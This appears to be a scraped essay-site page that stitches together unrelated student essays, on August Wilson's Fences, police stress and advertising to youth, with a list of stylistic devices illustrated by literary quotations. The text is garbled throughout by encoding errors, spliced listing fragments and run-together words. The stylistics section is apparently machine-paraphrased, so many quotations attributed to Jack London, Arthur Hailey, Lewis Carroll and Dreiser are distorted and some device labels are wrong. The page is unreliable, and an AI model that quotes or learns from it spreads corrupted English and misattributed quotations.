Analysis of Fences by August Wilson Essay - 1012 Words

In the play Fences by August Wilson, Troy is shown as a man who has hurt the people who are closest to him without even realizing it. He has acted in an insensitive and uncaring manner towards his wife, Rose, his brother, Gabriel and his son, Cory. At the beginning of the story, Troy feels he has done right by them. He feels this throughout the story. He doesn’t realize how much he has hurt them. Troy is the son of an abusive father. His father was hardly around to raise him. When he was around, he made him do chores and if he didn’t do them he would beat him. One time, after Troy tied up the mule, just as his father told him to, he went off to the creek with a girl to â€Å"enjoy himself.† The mule got loose, and his father found out. His†¦show more content†¦They told him that he killed the man. They put Troy in the state penitentiary for that. He spent 15 long years there. When he came out, he met Rose. All of his stealing habits were gone. Troy and Rose got married. At the time, Troy had a son from a previous marriage. He never spend time with this son, because he was in jail. After they were married, they wanted to have a son. Cory, their son, was born. Troy thought that he was a good husband to Rose because he provided her with food and a house. He wasn’t a good husband because he didn’t give her love and compassion. These two things are needed in a good marriage. She centered her whole life around him and he gave her almost nothing. When she had a problem, she couldn’t go to him. Troy also wasn’t faithful to Rose. He went off and had an affair with another woman. Rose was heart-broken by this. She couldn’t believe Troy could do this to her. She devoted her life to him and he goes and stabs her in the back. On top of that, Troy had a child with his mistress. The woman died giving birth. Troy asked Rose to take care of the baby. Rose did, what else could she have done? Troy was not a good husband. Troy took care of Gabriel after the war. This made him think that he was a good brother. Troy wasn’t a good brother to Gabriel. He stole the war money that Gabriel got. He used the money that he got to build himself a house. Gabriel couldn’t take care of himself, so Troy oversaw Gabriel’s life. After a whileShow MoreRelatedFences Analysis On Fences By August Wilson1283 Words   |  6 Pages Fences Analysis In the play â€Å"Fences† by August Wilson the play’s attitude toward women is biased, and if the play was written by a female I think it would have a stronger feminine influence. Issues such as racism and discrimination against blacks may be raised in the play that the author did not bring up, and the women in the story somewhat do generally typify women in the 1950s. To support my interpretation, the women in the play were homebodies, just worrying about the household because theyRead MoreAnalysis Of Fences By August Wilson1179 Words   |  5 PagesFences, August Wilson The close reading process for this play occurs in three stages: 1. First Read (Days 2 and Day 3): Students are not to cold read the play during this period. It is essential for their understanding that this first read comes from a fluent adult reader or (less ideally) from a recording of the play. Teachers should pre-select moments of tension or surprise when students should stop and jot their thoughts, ideas and questions about the text. The suggested cues for the openRead MoreAnalysis Of Fences By August Wilson1340 Words   |  6 Pagescharacter who, for the most part, is a benevolent person, but suffers from his or her hamartia and hubris, which ultimately leads to their downfall and recognition of their poor choices, as well as the reversal of their situation. The play Fences written by August Wilson describes the struggles and hardships of an African-American family endeavoring to live the American Dream in the 1950s. Although some may argue that the main character, Troy, is not a tragic hero, evidence in the play fortifies that heRead MoreAnalysis Of Fences By August Wilson1251 Words   |  6 PagesFences by August Wilson is a play about African American life during the 1950’s era, it reflects a transitional time where African Americans begin to stand up and fight against racism. The father son relationship is a centering conflict within the play Fences. Throughout the play we are immersed into this complex connection of Troy and his two sons, Cory and Lyon. Troy struggles to create an identity separate from what is forced on him through an oppressive society. His battle with identity streamsRead MoreAnalysis Of Fences By August Wilson1612 Words   |  7 Pages In August Wilson s play Fences, he uses his piece to explain that someone unable to control their actions caused by selfish, hatred, or angry emotions will cause issues in one s personal life, general decisions, and in family life. Wilson hopes to target people who can t control their emotions and wishes to prevent the negative effects of uncontrolled actions caused by negative emotion. The inability to control one s emotions can harm their friends, decision making, and family. Wilson mainRead MoreAnalysis Of Fences By August Wilson Essay1837 Words   |  8 PagesFences written by August Wilson, the setting reveals the man that Troy Maxson really is. The set of the play represents Troy Maxson’s character within the play where him and his family reside in a fenced in yard of Troy’s front porch, brick house. He is proud to provide a home for his family. However, Troy has not accomplished this achievement on his own. Which takes a toll on Troy when he realizes he has nothing to show for his life which leads Troy to feel ashamed of himself. The protagonist, TroyRead MoreAnalysis Of August Wilsons Fences 1800 Words   |  8 PagesAugust Wilsons â€Å"Fences† takes us on a journey that transforms the 20th century impression of a Negro Family with Insatiability, Tenderness, and Sacrifice. The famous play is an autobiography of an American Negro man who loses his dreams for the people he loves. Fences demonstrates us what sacrifice looks li ke and how egocentricity still exist today. Fences takes place with a family in Pittsburgh from 1957 to 1965. The characters are Troy, Bono, Rose, Lyons, Gabriel, Cory, and Raynell. Fï  ¥Ã¯  ®Ã¯  £Ã¯  ¥Ã¯  ³Ã¯â‚¬  Ã¯  ©s importantRead MoreAnalysis Of `` Fences `` By August Wilson867 Words   |  4 Pagesa family. August Wilson’s â€Å"Fences† portrays extremely well what happens when a member of the family decides to forget his or her duties. The use of metaphors and symbols throughout the play such as baseball and fences, illustrate exactly why Troy Maxson as a family man was destined for disappointment. Rose, Troy’s wife in the play was the obvious voice of reason between the two; all she wanted was an interrupted happy family life. The fences that she put up were not physical fences but ratherRead MoreAnalysis Of Fences By August Wilson1656 Words   |  7 Pagesand typically a positive thing. There are times, however, when the people that children emulate are not the best examples society has to offer. In the play Fences Cory looks up to his dad when it comes to sports. However, by the end of the play the reader starts to notice that Troy is not the man to look up to. The plot in Fences by August Wilson is centered around an African American family that looks at the world a little differently by that I mean when Troy was young people believed blacks shouldn’tRead MoreAnalysis Of Fences By August Wilson1240 Words   |  5 Pagescontinued to pursue this goal despite the likeliness of failure? Would it still be worth it? Fences by August Wilson tells the story of an i mpoverished African-American family in the 1950s and the father Troy’s failed American Dream. The Great Gatsby by F. Scott Fitzgerald illustrates the upper class in the Roaring Twenties and a man named Gatsby who also fails to attain his long-awaited dream. Both Wilson, in Fences, and Fitzgerald, in The Great Gatsby don’t believe solely in the dreamer or solely in the

Stress Management - 2159 Words

Stress is a term used by many, is somewhat misunderstood, and often used to describe a negative condition or emotional state. People experience various forms of stress at home, work, in social settings, and when engaged in activities to simply have fun. Police officer#8217;s experience stresses the same as others, but also in ways much different than the average citizen. The dangers, violence, and tragedy seen by officers result in added levels of stress not experienced by the general population. What is stress? Stress is not a new phenomenon, it has been experienced throughout history. Stress is a biological response to some stimulus. Fear, panic, anger, tragedy and especially pressure can cause it. Stress can result in the†¦show more content†¦Stress is linked to the six leading causes of death, heart disease, cancer, lung problems, accidents, cirrhosis of the liver, and suicide. Stress is a combination of physical, mental, and emotional feelings that result from pressure, worry, and anxiety. These pressures are called stressors. Some examples of common stressors are, divorce, death in the family, job change, pregnancy, marriage, and retirement. In medicine stress is a physical, chemical, or emotional development that causes strains that lead to physical illness. The early warning signs of stress include apathy, anxiety, irritability, mental fatigue, and over compensation or denial. Some signs of apathy are feelings of sadness or recreation that isn#8217;t fun anymore. Feelings of restlessness, agitation, insecurity and a sense of worthlessness are examples of anxiety. Signs of irritability are feeling hypersensitive, defensive, and arrogant. Feeling argumentative, rebellious, or angry are also signs of irritability. Examples of mental fatigue are denying that there are problems, ignoring symptoms, and feeling suspicious. Some behavioural signs of stress are avoiding things, doing things to extremes, administrative problems, and leg al problems. Avoiding things includes keeping to one#8217;s self, avoiding work, having trouble acceptingShow MoreRelatedStress And The Stress Management1474 Words   |  6 PagesThe definition of Stress, its history and how to manage Stress is a daily conversation word as the world is becoming more challenging and difficult to live. It is very important to understand, and know how to manage it on a daily basis especially on our workplace. This essay will be broken into four parts firstly it is going to discuss about the contrast and similarity in the definition of stress between Engineering and Selye’s approach. Then it is going to critically evaluate the General AdaptationRead MoreHow Stress And Stress Management1319 Words   |  6 Pagesin which we have studied during the weeks of nine through eleven. I have selected to explore Stress and Stress Management more in depth. In this assignment I will explain what made me want to know more about it. I plan on telling you what you should know about Stress and Stress Management. Lastly, I will discuss how Stress and Stress Management relate to success in my personal and professional life. Stress can be defined as the nonspecific response of the body to any dem and made on it (Lamberton Read MoreStress Management3984 Words   |  16 Pagesthat the incidence of work-related stress increased dramatically in Australian organisations during the 1990s and early 2000s? Should employers be made responsible for dealing with the negative effects of work- related stress on their employees? If so how could they do this? Prepared for: Nick Foster Udam Wickremaratne 10571359 Occupational stress is a major news item, which has captured numerous headlines across the industrialized world and rightly so. Stress is reported to cost employers US$120Read MoreEssay on Stress and Stress Management1494 Words   |  6 Pages Stress and stress management: What is stress and how to manage it ? Stress is defined as a force that tends to strain or deform (b) mental emotional or physical tension, strain or distress-(v) to put emphasis on (c ) to subject to strain or pressure. Stress is a unwanted feeling of emotions and physiological arousal that some experience in certain situations. Stress can mean different things to various people. People have said; â€Å"That stress can causeRead MoreA Short Note On Stress Management And Stress Essay998 Words   |  4 PagesStania Tavil Dr. Diane D. Ashe Psychology 2012 October 15, 2016 Stress Management In everyday life, people have to deal with some good moments and some difficulties. They can be helpful and also destructive. Life Comes down to several characteristic as:/ joy, love, sadness, crying etc. There are many phenomena that appear and seem good and a little weird too sometimes. They can be: physical, moral, social, economic, psychological, natural disaster, or failing to achieve. Everyone wants to be happyRead MoreThe Effects Of Stress And Nutrition On Stress Management1852 Words   |  8 Pages Over the recent decades the emerging importance that nutrition has on stress management in college students along with others has become a controversial topic all across different Universities and Public Institutions. Hence, for years, society has suspected that stress and nutrition are linked and now after so many years, scientific research has found evidence to support this connection. In an article by Fysekidis Kouacou (2015), research suggest to help explain this link and, as more individualsRead MoreStress Management Essay1436 Words   |  6 PagesStress Stress is normal. It happens to everyone, and affects everyone differently. It is a feeling of being overwhelmed for handling things you aren’t used to. Stress is also known as a response or something that changes in the body caused by emotions, social, physical, or economical issues which can cause tension mentally and physically. It can be caused by external or internal situations. What’s known as the â€Å"fight or flight† response, is initiated when an individual becomes stressed. It is theRead More The Management of Stress Essay1447 Words   |  6 Pagesnot the answer I’m looking for. The correct answer is stress. Everyone has stress in his or her life at one point or another. It’s one of many inevitable parts of life. Whether it’s busting out a research paper for Psychology at the last minute, expecting your first child to be born, to making sure you’re up in time to catch the Saturday morning cartoons, it’s clearly evid ent that everyone goes through stress. The real question is, how is stress handled in our society? A person is defined by how theyRead MoreEssay on Stress Management649 Words   |  3 PagesStress Management Responses to stressors present different impacts on each individual. Stressors have a physical and psychological effect on people although some people seem to be much less effected by stress being able to withstand high levels of stress almost as if there daily lives depend on it. Even though it is accepted stress is with us from are waking moment to the minute we sleep, almost all individuals through time suffer physical or psychological illness. IndividualRead MoreStress Management Plan1516 Words   |  7 PagesStress Management Plan When I was gathering resources for my first stress portfolio, one picture left a deep impression. It says: â€Å"there are only two times I feel stress: day and night.† Yes, stress exists along with our whole life; it may seem that there is nothing that we can do about stress. The homework and exams will keep coming, there is endless study and work in the day, and our career and family responsibilities will always be demanding. However, the good news is that stress can be managed

Advertising to Youth Free Essays

In the ever expanding world of consumerism and advertising, companies are constantly looking for new ways to sell their products to youth by making their commercials and campaigns more memorable than the competition; thus having to reinvent themselves. The youth generation has become the prime target because they have more spending power than ever before; because of more disposabel income, and increased avenues at their disposal in which to spend their money. Therefore companies spend an enormous amount of money on advertisement to ensure popularity and early brand loyalty. We will write a custom essay sample on Advertising to Youth or any similar topic only for you Order Now In the last decade, these superbrands are looking towards new and outrageous ways to capture young audiences, although these campaigns are appealing, how effective are they? This essay is meant to demonstrate how companies are reinventing themselves, whether their efforts are effective, and what possible implications these actions may have on youth during their teenage years, when they may be the most impressionable. As mentioned earlier, youth are incredibly important to the international market, in â€Å"The Advertising Age†, Jeff Jensen mentions that in todays youth market â€Å"Selling out is not only accepted, it’s considered hip† (Klein, pg. 5) Corporate sponsorships have become a regular occurrence, as a conglomerates advertise during large sport events, concerts and or even host entire contests . This provides for a perfect channel of penetration to a large amount of youth as they are usually key observers of these types of events. An example of this woul d be the how McDonald’s was a sponser of the Vancouver Olympic Winter Games. Throughout the two week duration of the games, McDonald’s sponsorship was seen everywhere, which was ironic considering that most food offered at McDonald’s is high in fat and cholesterol.Regardless of the facts, the company promoted themselves as a product of healthy active living by having athletes endorse their products. An earlier campaign featured pop icon Justin Timberlake collaborating with the Golden Arches, and creating the slogan and jingle â€Å"Im Lovin It†, which later furthered his own music career. The use of music to attract attention to a product has become a new advertising trend among numerous companies because it allows the organization to appear in tune with youth culture by using familiar songs, or artists to identify with the brand.A revolutionary effort made by automobile manufacturers such as Audi, Ford, Honda, and BMW has changed brand image by creating brand loyalty among â€Å"a whole new generation† and â€Å"chasing young buyers. † (Halliday, 16) In the case of Audi, they sponsored David Bowie’s concert, and asked fans to collaborate two of his hit songs for their next campaign; the winner would win a brand new Audi TT coupe. â€Å"The target for the contest [was] skewe[ed] to 20-something consumers, younger than Audi’s traditional audie nce in their late 30s to early 50s† (Halliday, 16) As for BMW, their angle for targeting youth aged 15-30 years old was similarly clever.They sponsored young go-cart drivers by providing them with scholarships to race for BMW Formula USA professionally, not only helping build the winners careers, but have their new target audience identify with the drivers and therefore, the brand. In the past, luxury vehicles such as BMW and Audi were mostly marketed towards baby boomers, but marketers are starting to realize the market value of advertising to youth approaching an age when they start deciding what car they should identify with. This creates brand loyalty at an early age, that will hopefully generate sales for the companies later on.The above are all examples of how to secure brand loyalty among youth at an early age. Although the campaigns are ingenious marketing strategies, the repercussions may be serious. In the case of McDonald’s, there are some serious ethical issues centered around the fact that a restaurant that sells junk food is promoting itself as an alternative to a healthy lifestyle. Although they do offer â€Å"healthier† choices on their menu, their campaign during the Olympics featured the slogan â€Å"you don’t have to be an athlete to eat like one† featuring athletes like Patrick Chan eating a burger.These types of commercials tend to be misleading to young viewers to believe that athletes actually eat fast food. Even viewers that are aware McDonald’s is not a healthy choice might be more likely to purchase from the restaurant because of the constant adve rtising, and incentives such as official Olympic paraphernalia. The effect of the campaign was very successful, as McDonald’s generated a sales profit of 4. 8 percent worldwide higher than last February, with a predicted increased of 4 percent. In retrospect, luxury automobile makers advertising to youth may be a seemingly harmless alternative to gaining future customers.But on closer inspection, the problem may lie deeper. By luxury models creating brand loyalty so early one, it gives the impression that any person can own an Audi or BMW, when in fact that is not the case. Many people will never be able to afford this type of vehicle, but by instilling a desire so early on, may cause some to live beyond their means, meaning going into debt to own an Audi, and have a false sense of accomplishment. On the other hand, a teen may desire these cars, and dedicate themselves to working hard so that one day they be able to afford one. There is no way to tell whether this will have a positive or negative effect of the consumer, as the campaign is only a start to the reinvention of two brands that have for many decades been deemed as appropriate for middle-aged adults. During the era of Old Hollywood, product placement was a small part of the movie making business, as corporate products were secondary to the script and story line. In today’s conglomerate controlled society, advertisement becomes the main form of funding for a motion picture, thus in some cases controlling the whole integrity of the film.On television, certain shows are created around the product itself, and cleverly manipulated through repetition to instigate desire in the product. The prominence of this type of product placement is clearly visible in television and movie programming that is targeted at youth. An example is â€Å"America’s Next Top Model,† the corporate sponsor of the show is Cover Girl Cosmetics. The whole show is built around using the products, advertising them in the photo shoot campaigns, and again repeating the brand at the end during the elimination ceremony. The brand describes itself as youthful and fresh, the perfect brand for young girls. The models in the reality show all strive to win $100,000 contract with Cover Girl. Needless to say, this has been an incredibly well executed advertising campaign, and it is endorsed by supermodel Tyra Banks, and is viewed by millions of young girls around the world. Last year Cover Girl’s revenue was US 79. 03 billion dollars. Even if only a smart per cent of young women buy the cosmetics because of the show, it is still a fantastic investment in advertising for the company.Many movies are following in the same trend by shamelessly centering their scripts around product placement, in some cases making it the focus of the entire movie. One extreme example in the satire comedy â€Å"Talladega Nights† starring Will Farrel. The film focuses around the advertisement of Nascar, Wonderbread, Old Spice, Perrier, Taco Bell, Kentucky Fried Chicken, and Applebees to name a few. The viewer is so overwhelmed by the amount of corporate sponsors, that they may fail to recognize that there is no true story line.This movie is meant for a young audience as it is filled with outrageously inappropriate and immature humor that ironically identifies the fact that the movie is filled with product placement. This is a brilliant way to advertise numerous products because the movie does not deny the fact, which makes it almost acceptable to the audience because of the recognition of the fact. Shortly after the movie aired, Wonderbread started a new savvy campaign of their own, introducing a new whole wheat version of their bread that catered to children.There is no doubt that Wonderbread became the face of â€Å"Talladega Nightsâ €  and thus unforgettable. In the fight for youth audiences, companies are now spending millions of dollars on market research in the mission of finding out what is â€Å"trendy† and â€Å"cool. † In her article Niomi Klein identifies a different approach to researching the youth generation. â€Å"Cool Hunters: The legal stalkers of youth culture† (Klein, pg. 72) are used to investigate teenagers by large corporations into order to stay current within their advertising and products. Armed with their change agents and cool hunters, the superbrands become the perennial teenage followers, trailing the scent of cool wherever it led† (Klein, pg. 73) that brings reinvention to a whole new level. These marketers usually focus towards the ghettos of large cities, where subcultures start because of lack of money; these youth are forced to use their creativity to standout and build a self image against the status quo. Corporations such as Nike recognize trends in these communities, and use it towards the advent of a new campaign and line of clothing or shoes.The irony is that this trend is catered to suburban youth fabricated to look like the youth from the ghettos because â€Å"very often the most exciting outfits are from the poorest people. † (Klein, pg. 73) Wherever there is a new trend emerging, the superbrands will find some way to materialize it for their own profit. This creates a problem of originality as â€Å"no space has been left unbranded. † (Klein, 73) Youth may find it difficult to create an outstanding and alternative image for themselves that does not represent mass consumerism.There is also some ethical problems with this marketing trend as this could be seen as a new form of pirating ideas, and the compromising of privacy of the youth targeted in the ghettos. The trend of hip hop influence has spread to other companies such as Reebok, Tommy Hilfiger and even Levi’s as they use celebrity endorsements like 50 Cent, Puff Daddy and Jay-Z to further sell their reinvented brand images. In another effort to stand out and make a commercial unforgettable, some companies are going to extreme measures to create edgier content that abandons the use of musical inspired content, and uses shocking images in its place.One such company is Airwalk shoes which used body dismemberment and overflowing toilets as humor to create an â€Å"uncensored voice of the counterculture. † (Jensen, pg. 31) This campaign came into light after the success of dirty humor movies such as â€Å"There’s Something About Mary† and â€Å"Monty Python†. The first commercial hows an Airwalk consumer being chased by an angry motorist; and ends up losses some limbs in the process. After the ordeal is over, the loyal customer finds one of his dismeme bered legs in order to get his Airwalk shoe back. The second commercial titled â€Å"Titanic† illustrated a young man sitting on the toilet which starts to overflow, and he does everything to keep his Airwalk shoes from getting wet. The approach of the outrageous was aimed to be more â€Å"viral†, by using the shocking images to gain more media placement among ESPN, MTV, and Much Music. The spokesperson for Airwalk was quoted saying â€Å"It won’t be enough to just carpet-bomb consumers with your brand name [†¦ ] a brand better be compelling enough that consumers covet it. † (Jensen, pg. 1) The campaign was aimed towards a niche target audience of teenaged skateboarders that would appreciate the dirty humor, as they were thought to be as fearless and out-going as were the new 4 million dollar advertisements. Although they probably appealed to many young people, it most likely offended other viewers with the gut-wrenching content. This interesting approach could either work in favor of the company or against it; but by using such explicit humor may prove to be very limiting, as it may only appeal to a small audience, not generating as many sales.In the end, the campaign proved to be too extreme for MTV which asked the company to tone down the dismemberment approach. After reviewing just a few modes of advertisement towards youth, the question of how this effects them during their reflective years, leading into adulthood. In a review of cognitive studies done on youth ages 11-16 years old â€Å"had still not acquired an understanding of persuasive intent on a par wit h adult levels† (Nairn Fine, pg. 449-450) Thus these children were not able to identify clearly that companies were advertising to them in order to sell a product. This makes it very dangerous because teenagers may start forming habits of consumption before they are able to identify them completely leading to the onset of the mass consumerism attitude. Children around the aged of 12 â€Å"do not show the expected increase in resistance to advertising† (Nairn Fine, pg. 450), making them an easy target for brand loyalty and preference for corporations. Consequently, a child shown a movie clip introducing a brand would be more likely to choose that brand after seeing it; this was concluded by a study done by Auty and Lewis in the Psychology of Marketing.In light of this information, the ethical issues surrounding advertising to children and youth should be taken under great consideration. By possibly limiting the amount of commercials during youth programming would have a positive effect of limiting the effects of mass consumer culture. But in contrast, much of the programming aired for youth is sponsored by large corporations, and if comm ercials are cut down, so is the funding. Not only may advertising effect the future consumer practices of youth, but it also may effect their morals and values.Seeing crude material such as the Airwalk commercials may have some influence in their tolerance for such humor, and may make it acceptable in their eyes. Images of sexually explicit content may also have the same repercussions towards behavior as well as self image. In shows like â€Å"America’s Next Top Model†, the girls are portrayed as perfect because they are thin; youth may aspire to such ideals which may cause a negative self image towards themselves and others. Advertising is a powerful tool for many corporations, and they will constantly looking for new and exciting ways to capture the attention of youth.There numerous methods that make advertising almost inescapable. Every area of the environment becomes a commodity as advertising can be found on the floors and ceilings of buses, internet sites, and even in washrooms stalls. But what the youth of today have is more information at their disposal that they can use to combat large corporations, and be able to identify what these companies are doing. They can use this information to generate their own income by using sites like YouTube, or use what they know against the corporations to ban advertising to young children. How to cite Advertising to Youth, Papers

Epithet free essay sample

Name 1. Still watching the pupil nurses, Mc.Neil saw that two were deathly white, a 3rd had gasped snd turned off ; the other three were stoicallyobservation. A. Hailey A. Hailey The writer uses the above mentioned names to give better image of the interior province of the characters. The word # 8220 ; picket # 8221 ; is instead impersonal, while # 8220 ; deathlike white # 8221 ; is emotionally coloured. It gives a graphic image. 2. The aureate strain of Polynesia betrayed itself in the sun-giltof his tegumentand project up aureate shininesss, and visible radiations through the inklingblueof his eyes. J. London J. London The writer uses reversed names in the above infusion to touch the reader # 8217 ; s imaginativeness. With the usage of names, J. London makes emotionally colored description of the character. 3. On the underside of the immense and glassy lagunawas much pearl shell, and from the deck of the schooner, across the slender ring of the atoll, the frogmans could be seen at work. J. London J. London The writer uses simple epithet # 8220 ; glassy # 8221 ; to demo that the H2O in this laguna was pure. 4. The Sun had disappeared, and a lead-colored dusksettled down. J. London J. LondonHyperbole Hyperbole 1. He steeled himself to maintain above the suffocating dreaminessthat lapped like a lifting tide through all the Wellss of his being. J. London J. London The writer uses exaggeration to demo that the hero was unable to state a individual word at that minute. 2. # 8220 ; You couldn # 8217 ; t win from me in a thousand old ages # 8221 ; , Danny assured him. J. London J. London The writer uses the above-named look to demo that there were no opportunities to win from Danny. J. London makes us see, that the hero considers himself to be a really good participant. 3. He saw the perambulating cadavers, the ghastly decease # 8217 ; s caputsof work forces who laborated in the dye suites. J. London J. London Using look # 8220 ; the perambulating cadavers # 8221 ; the writer points out that these work forces are exhausted with their difficult and risky work. Metaphor Metaphor 1. Jim Cardegee awoke, choking, bewildered, get downing down the twin Wellss of steel. J. London J. London The writer uses the above-named metaphor to depict shot-guns. A word denoting one object is applied to another for the intent of proposing a similitude between them. 2. Young puppiesand old grey Canis familiarisswho ought to hold known better # 8211 ; oh, they all came up and crawled around her skirts and whined and fawnedwhen she whistled. J. London J. London The writer uses the above-named metaphor to depict old and immature work forces. 3. # 8220 ; To me he is power # 8211 ; he isthe crude # 184 ; the wild wolf, the dramatic rattler, the stinging centipede # 8221 ; , said Arrellano. J. London J. London The writer compares the hero with the wild animals. 4. In the whole atollnot two rocks remained one upon another. J. London J. London The writer uses metaphor to emphasize that nil safe remained in the whole atoll. Simile Simile 1. At times his head wandered farther afield, and he plodded on, a mere mechanization, unusual amour propresand flightinesssgnawing at his encephalon like worms. J. London J. London The simple simile. The writer draws a comparing between two different things # 8220 ; minds # 8221 ; and # 8220 ; worms # 8221 ; . 2. Hethrew off his battalion and went into the first-come-first-serve grass on custodies and articulatio genuss, scranching and crunching, like some bovine animal. J. London J. London The sustained simile. The writer draws the implicative parallel. 3. His articulationswere like rusty flexible joints. J. London J. London 4. Again the rifles of the soldiers of Porfirio Diaz cracked, and once more hedropped to the land and slunk off likesome hunted prairie wolfof the hills. J. London J. LondonPersonification Personification 1. The present storm had been bornfive yearss ago in the Lee of the Colorado. A. Hailey A. Hailey The writer personificates the storm. 2. Merely as daytime laid itssteel-gray fingerson the parchment window, Jacob Kent awoke. J. London J. London The writer compares the daytime with a human being. 3. A see swept up the beach, creamingaround the short pantss of the coconuts and lesseningabout at their pess. J. London J. LondonThe writer shows similarity between the sea and the animate being The writer shows similarity between the sea and the animate beingIrony Irony 1. The sight of his meekly withdrawing back must hold further enraged Patsy Horan, for that worthy, dropping the tabular array implements, sprang upon him. J. London J. London 2. The Gallic, with no inherent aptitude for colonisation, futile in their infantile playgameof developing the resources of the island, were merely excessively glad to see the English company win. J. London J. London 3. # 8220 ; Well # 8221 ; , thought Alice to herself, # 8220 ; after such a autumn as this, I shall believe nil of toppling down stepss. How brave they # 8217 ; ll all think me at place! Why, I wouldn # 8217 ; Ts say anythingabout it, even if I fell off the top of the house # 8221 ; ( Which was really likely true) L. Carroll L. Carroll 4. # 8220 ; # 8230 ; if you drink muchfrom a bottle marked # 8220 ;toxicant # 8221 ; , it is about certain to differ with you, earlier or subsequently. # 8221 ; L. Carroll L. CarrollZeugma Zeugma 1. They grew frightened, sitting therefore and confrontingtheir ain apprehensivenesssand a indurate, tobacco-smoking audience. J. London J. London 2. He returnedwith an easier air to the tabular array and his repast. H.G. Wells 3. The one sufferer who might, possibly, have paidhim a visit and a feedid non demo herself. A. Bennett 4. She broke off underthe strain of her illiteracyand an overladen tummy. A. Cronin A. Cronin 5. # 8220 ; What are you guys making # 8211 ; holding a supper and ladies # 8217 ; dark. # 8221 ; A. Hailey Metonymy Metonymy 1. The bartender leant his fat ruddy weaponries on the counter and talked of Equus caballuss with an anemic taxidriver, while a black-bearded adult male in Grey snapped up biscuit and cheese, drank Burton, and conversed in American with a police officer off responsibility. ( kind of beer ) H.G. Wells H.G. Wells 2. I made off up the roadway to Bloomsbury Square, meaning to strike north past the Museumand so acquire into the quiet territory. ( British Museum ) H.G. Wells H.G. Wells 3. The handgun snapped its penultimate shooting and ripped a valuableSidney Cooper. ( ripped a canvas ) H.G. Wells H.G. Wells Oxymoron 1. The idea was like some Sweet, disarranging toxicantto Clyde. T. Dreiser T. Dreiser Oxymoron is a specific type of an name, which is ever contrary to the verb or noun it modifies. With the usage of the above-named oxymoron the writer shows that this idea was pleasant to Clyde, but at the same clip unsafe. 2. When Clyde appeared to be the least decreased in head she most affected this spiel with him, since it had an about electric, if sweetly torturing consequenceon him. T. Dreiser T. Dreiser 3. You baddie, good male child. T. Dreiser T. Dreiser 4. It tortured and flusteredhim. T. Dreiser T. DreiserPun Pun 1. # 8220 ; I had non! # 8221 ; Cried the Mouse, aggressively and really angrily. # 8220 ; A knot! # 8221 ; said Alice, ever ready to do herself utile, and looking uneasily about her. # 8220 ; Oh, do allow me assist to undoit! # 8221 ; # 8220 ; I shall make nilof the kind # 8221 ; , said the Mouse, acquiring up and walking off. L. Carroll L. Carroll 2. # 8220 ; # 8230 ; You see the Earth takes 24 hours to turn round on its axis # 8221 ; # 8220 ; Talking of axes # 8221 ; , said the Dormouse, # 8220 ; chop off her caput! # 8221 ; L. Carroll L. Carroll 3. # 8220 ; No, delight travel on! # 8221 ; Alice said really meekly: # 8220 ; I won # 8217 ; t disrupt you once more. I dare state there may be one # 8221 ; ( pronoun ) # 8220 ; One,so! # 8221 ; said the Dormouse, without sing at all this clip. ( numerical ) L. Carroll L. Carroll 4. # 8220 ; Take some moretea # 8221 ; , the March Hare said to Alice, really seriously. # 8220 ; I # 8217 ; ve had nil yet # 8221 ; , Alice replied in an pained tone, # 8220 ; so I can # 8217 ; t take more # 8221 ; . # 8220 ; You mean, you can # 8217 ; t take less # 8221 ; , said the Hatter: # 8220 ; It # 8217 ; s really easy to take morethan nil # 8221 ; . . Carroll. DodgsonAntithesis Antithesis 1. Most of the kids here have had rubeolas. Those that haven # 8217 ; t are certain to hold it sooner or later. A.J. Cronin A.J. Cronin 2. His cigar bobbed up and down, dispatching ash partially on himself, partially on the polished linoleum floor. A. Hailey A. Hailey 3. It was a signal of TB ; whether old or recentthey would cognize in a minute. A. Hailey A. Hailey 4. # 8220 ; Storm or non, contracts decreed that air freight spoilables must get at finish fresh, and fleetly # 8221 ; . A. Hailey A. HaileyDetached building Detached buildingParenthesis Parenthesis 1. His topographic point of concern # 8211 ; whatever high-class tooth doctors choose to name it # 8211 ; was rather ready for him when he arrived at Hanbridge. A. Bennett A. Bennett 2. She had a heat of spirit # 8211 ; he had one time described it to himself as a strong kindness # 8211 ; that was at one time comforting and reconstructing. A. Hailey A. Hailey 3. As he watched her now # 8211 ; she had stopped to talk with one of the housemans # 8211 ; he saw her raise a manus and push back her hair from the side of her face. A. Hailey A. Hailey 4. After tea, while Mary had gone to rinse the dishes, she insisted that Christine looked tired, Andrew detached the babe from Mrs. Boland and played with it on the hearthrug before the fire. A.J. Cronin A.J. Cronin 5. He ran up the porch stairss, threw unfastened the front door and at that place, in the hall, he found Llewellyn. A. J. Cronin A. J. Cronin The writer inserts the phrase # 8220 ; in the hall # 8221 ; into this statement to give extra information. This sentence is logically and grammatically completed even without this phrase. 6. Next he constructed, really merely, a dust chamber in which for certain hours of the twenty-four hours the animate beings were exposed to concentrations of the dust, others being unexposed # 8211 ; the controls. A. Cronin A. Cronin With the word # 8220 ; the controls # 8221 ; the writer gives account of other animate beings being unexposed. Anadiplosis ( associating, anadiplosis ) Anadiplosis ( associating, anadiplosis ) 1. He asked her to step in, and in she stepped. A. Bennett A. Bennett The writer uses the same phrase both at the terminal of a clause and at the beginning of the consecutive 1. 2. # 8220 ; There was a cold bitter gustatory sensation in the air, and new-lighted lamps looked sad. Sadwere the visible radiations in the houses opposite. # 8221 ; K. Mansfield K. Mansfield The writer uses the same word # 8220 ; sad # 8221 ; both at the terminal of a sentence and at the beginning of the consecutive 1. 3. With one manus, Danny was utilizing a ruddy telephone ; with the other, flicking through exigency orders # 8211 ; Mel # 8217 ; s orders, carefully drawn up for occasions such as this. A. Hailey A. Hailey The writer uses the same phrase both at the terminal of a clause and at the beginning of the consecutive 1. Ellipsis Ellipsis 1. # 8220 ; You see these three dentitions? # 8221 ; A. Bennett A. Bennett The writer uses eclipsis to demo that the character speaks in familiar conversational tone. 2. # 8220 ; They should be through, or almost. # 8221 ; # 8220 ; They might be # 8211 ; if we could happen the frigging truck # 8221 ; A. Hailey A. Hailey The word # 8220 ; through # 8221 ; is omitted, though the context of the sentence does non endure. 3. # 8220 ; You can hold your spot of snap straight off to-night. No surgery. Dai Jenkins done it. # 8221 ; A. Hailey A. Hailey Omission of nexus verb # 8211 ; # 8220 ; Dai Jenkins has done it # 8221 ; 4. # 8220 ; A intermission, so more sharply, # 8220 ; Any other damnfool stupid impression? # 8221 ; A. Hailey A. HaileyAsyndeton Asyndeton 1. With a laugh he would lift, stretch himself, swing round his lenses, put the slides off. A.J. Cronin The writer writes without concurrences in order to rush up the action. 2. # 8220 ; Bicket did non reply his pharynx felt excessively dry. # 8221 ; Galsworthy Here we can see the absence of the concurrence # 8220 ; because # 8221 ; . 3. He glanced up, laid down his coffin nail, went into 